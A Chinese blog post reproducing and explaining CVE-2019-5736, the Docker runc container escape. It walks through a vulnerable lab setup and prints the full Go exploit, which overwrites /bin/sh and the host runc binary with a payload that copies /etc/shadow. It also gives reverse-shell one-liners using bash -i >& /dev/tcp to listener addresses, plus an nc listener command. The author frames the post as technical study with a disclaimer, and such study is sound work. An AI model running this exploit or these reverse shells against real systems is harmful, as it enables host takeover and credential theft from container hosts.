CVE-2019-5736漏洞复现
背景
近期结合实际需要,对Docker容器相关的安全漏洞进行了收集,目前公开的Docker漏洞利用代码,较为有限,其中CVE-2019-5736造成后果较大,且相关利用代码能够较为方便的找到,撰写本文的目的主要是对复现该漏洞的过程进行记录,并从利用代码的角度分析利用该漏洞的基本思路,仅限于技术讨论,请不要用于attack。
漏洞环境搭建
环境信息
-
Hyper-V 管理器10.0.18362.1
-
Ubuntu 18.04 LTS:在Hyper-V中安装,以虚拟机模式运行
在Linux系统上构建符合漏洞触发需求的Docker环境
apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-get update --fix-missing
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
通过运行上述命令可以在宿主机 Ubuntu18.04LTS
上安装并配置存在漏洞的 docker
并将相应镜像 ubuntu image
从 docker hub
处拉取并安装,执行后可以使用 docker
命令查看版本及容器信息。
docker version
docker container ls -a
docker info
查看Docker版本是否符合要求
docker -v
docker-runc -v
执行效果如下:
漏洞利用
访问 https://github.com/Frichetten/CVE-2019-5736-PoC
下载漏洞利用代码,修改 payload
变量为 #!/bin/bash n bash -i >& /dev/tcp/10.43.70.53/1234 0>&1
,保存退出后并执行如下命令,编译漏洞利用代码(我也是用Docker搭了一个环境后编译的):
vim main.go
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
命令执行效果如下:
将通过 go
编译生成的 main
程序拷贝到容器中,命令如下:
docker container ls -a
docker cp ./main 8186:/home
docker start -i 8186
8186
实际上对应于容器的 ID
信息,此处简写是因为我们只有这一个容器,能确保唯一索引到对应容器即可。进入容器后,使用 ls-l/home/main
可发现相关文件已经被拷贝到容器内,等待运行。
使用nc启动listen监听
nc -lvp 1234
开启一个容器,并在容器内启用之前编译好的main程序
chmod 777 main
./main
漏洞利用程序提示其已将
/bin/sh
解析器覆写成功。
使用docker exec命令执行已启动容器中的/bin/sh
由于在上一步骤漏洞利用程序已将 /bin/sh
解析器覆写成功,因此再启动该 /bin/sh
会执行漏洞利用程序的代码逻辑,此时之前运行的 main 程序回显出现变化:
此时, nc
处的回显如下, shell
反弹成功,可执行容器所在宿主机Ubuntu的命令,由于之前以 root
权限启用容器,逃逸后对宿主机危害较大:
另外需要说明的是:该漏洞代码会对 runc
造成破坏,进而导致利用后 docker
崩溃,建议在虚拟机内进行操作,并进行快照备份。
漏洞利用代码分析
利用代码
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
var payload = "#!/bin/bash n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
利用代码基本原理
目标文件是 /bin/sh
,用可执行脚本替换为指定的解释器路径 #!/proc/self/exe
,以在通过容器中行 /bin/sh
时执行 /proc/self/exe
。利用程序指向主机上的 runc
文件。攻击者可以继续写入 /proc/self/exe
以尝试覆盖主机上的 runc
文件。但一般来说,它不会成功,因为内核不允许在运行 runc
时覆盖它,要解决这个问题,攻击者可以使用 O_PATH
标志打开一个 /proc/self/exe
的文件描述符,然后使用 O_WRONLY
标志用 /proc/self/fd/
重新打开文件自己打开的描述符并尝试用该文件描述符写入 runc
文件。当 runc
退出时,覆盖将成功,之后 runc
可用于攻击其他容器或主机。
bash反弹shell原理介绍
在攻击者无法直接连接受害者的情况下进行,由受害者向攻击者发起链接,被控端发起请求到控制端某个端口,并将该命令行的输入输出转到控制端,以便实现控制端与被控端的交互。
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
# 将上述命令拆开
bash -i #启动一个交互式命令行
#/dev/tcp/是Linux一个特殊设备,打开该设备相当于发起了一个socket调用以建立一个socket连接,读写这个文件相当于在该socket连接中传输数据。
/dev/tcp/192.168.25.144/8888
标准输入(stdin):代码为 0
,使用 <
或 <<
,默认设备为键盘
标准输出(stdout):代码为 1
, 使用 >
或 >>
,默认设备为显示器
标准错误输出(stderr):代码为 2
, 使用 2>
或 2>>
,默认设备为显示器
&>
是一种特殊的用法,也可以写成 >&
,二者的意思完全相同,都等价于:
2>&1 #&>或>&被视作整体,分开无单独含义
在 >&word 语法中,当word不是数字或 - 字符时 >& 表示将 标准错误输出合并到标准输出中,而 0>&1相当于把标准输入拷贝到标准输出处。
该利用代码需要导入的包
-
fmt:格式化输出,打印控制台字符串相关的作用,
Fprintln
,Println
这些方法都是fmt
包所提供; -
io/ioutil:ioutil实现了一些I/O相关的功能,
ReadAll
,ReadFile
,WriteFile
,ReadDir
等方法都是由该包提供的; -
os:用来针对用户所用的操作系统进行相关操作的包;
-
strconv:实现了基本数据类型和其字符串表示的相互转换;
-
strings:提供字符串相关的方法与功能。
关键代码分析1:覆写/bin/sh为/proc/self/exe
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
-
os.Create("/bin/sh")
代表的是创建/bin/sh
文件,如果文件已存在则会将现有的/bin/sh
文件清空; -
fd
变量为文件指针,将其内容写为#!/proc/self/exe
,实际上就是把/bin/sh
文件的内容替代为#!/proc/self/exe
,我的理解是使用/proc/self/exe
符号链接指向的程序解析相关命令,实质上/proc/self/exe
符号链接指向的就是这段go
语言程序。 -
如果无任何报错,则输出
[+]Overwritten/bin/sh successfully
即可。
查看一下 /proc/self/exe
到底是个啥:一个符号链接,指向当前调用的程序 ls
的绝对路径。
ls -l /proc/self/exe
关键代码分析2:枚举/proc下的内容并查找名包含 runc
的进程
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
cmdline
中的内容,就是启动进程的命令行命令,如果其中包含 runc
字段,则说明系统有运行着 runc
这一包含漏洞的程序,获取该程序对应的 PID
进程号,并通过 Atoi
将字符串转为数值类型。
关键代码分析3:利用已经被查询到的PID信息,找到相应的exe文件描述符并打开
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
在漏洞利用代码中,很显然是为了找到 runc
程序对应的程序位置,且以只读方式打开,权限位为 0777
,与 unix
系统权限对应, handle.Fd()
返回与文件f对应的整数类型的Unix文件描述符。就像我们下面看到的 /proc/$PID/exe
通过符号链接指向程序的启动位置:
关键代码分析4:找到要写入的文件描述符并写入Payload攻击语句
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
这段代码是没有跳出条件的 for
循环,也可以理解为死循环。
writeHandle,_:=os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd),os.O_WRONLY|os.O_TRUNC,0700)
会打开 /proc/self/fd/
中对应的文件描述符编号。为什么是使用 proc/self
文件夹下的内容,原因该 go
程序之前有使用 handle,_:=os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe",os.O_RDONLY,0777)
语句打开一个文件描述符,这个文件描述符正好属于该 go
程序,对应的写入文件应当是 runc
进程的全路径。自然而然 writeHandle.Write([]byte(payload))
就能把相关攻击语句发送至 runc
程序了。如果写入成功,则程序结束。
后记
本文从代码和配置漏洞环境的角度分析了CVE-2019-5736容器逃逸漏洞,美中不足的是,本文仅提供了攻击角度,后续希望通过从 runc
源代码分析脆弱点产生原因,有相关进展一定第一时间分享,还请大家多多指导!
喜欢就请关注我们吧!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论